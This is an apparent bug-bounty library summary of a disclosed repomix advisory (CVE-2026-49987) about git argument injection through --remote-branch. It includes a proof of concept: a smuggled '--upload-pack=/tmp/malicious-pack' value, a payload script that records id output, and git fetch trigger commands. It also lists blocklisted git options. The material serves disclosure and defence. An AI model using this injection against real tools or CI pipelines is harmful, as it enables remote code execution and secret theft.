# repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection

repomix passes unsanitized --remote-branch into git fetch/checkout, letting an attacker inject --upload-pack and execute arbitrary commands.

- Payout: Research
- Severity: high
- Program: repomix
- Found by: kakashi-kx
- Disclosed: 2026-07-01
- CVE: CVE-2026-49987
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9mm9-rqhj-j5mx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9mm9-rqhj-j5mx
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** repomix CLI git subprocess
**Root cause:** The remoteBranch value is appended to git argument arrays without a `--` positional delimiter, so it is parsed as options; the dangerousParams blocklist is applied only to the URL, not the branch.
**Steps:**
1. Create executable payload `/tmp/malicious-pack` that writes `id` output to `/tmp/repomix-pwned.txt` and `chmod +x` it.
2. Set up a bare remote: `git init --bare /tmp/dummy-remote.git`, init a repo, `git remote add origin file:///tmp/dummy-remote.git`.
3. Run `repomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'`.
4. Verify with `cat /tmp/repomix-pwned.txt` — payload executes despite fetch exit code 128.
**How found:** Noticed the existing dangerousParams blocklist (--upload-pack, --receive-pack, --config, --exec) was applied only to the URL in validateGitUrl, then checked whether remoteBranch reached git subprocesses without the same validation or a `--` delimiter.
**Exploitation:** Attacker controls the --remote-branch value (e.g. via CI webhook/PR title) and injects `--upload-pack=/path/to/payload`; combined with an SSH or file:// remote, git invokes the payload binary as the transport helper, executing with the repomix user's privileges before protocol validation.
**Escalation:** In CI/CD pipelines where --remote-branch is populated from external triggers, compromise of build servers and secret exfiltration.
**Insight:** When a codebase already blocklists dangerous git options for one parameter, check every other parameter reaching the same execFile sink — the blocklist's existence signals the maintainers knew the risk but missed a sibling input.

## Proof of concept (copied exactly from the original report)

**End-to-end repomix command injecting --upload-pack**

```
repomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'
```

**Malicious upload-pack payload script**

```
cat > /tmp/malicious-pack << 'EOF'
#!/bin/bash
echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt
id >> /tmp/repomix-pwned.txt
EOF
chmod +x /tmp/malicious-pack
```

**Git fetch trigger with injected upload-pack**

```
git init --bare /tmp/dummy-remote.git

# Initialize local repo and add remote
mkdir /tmp/test-fetch && cd /tmp/test-fetch
git init
git remote add origin file:///tmp/dummy-remote.git

# Execute vulnerability
git fetch --upload-pack=/tmp/malicious-pack origin 2>&1
```

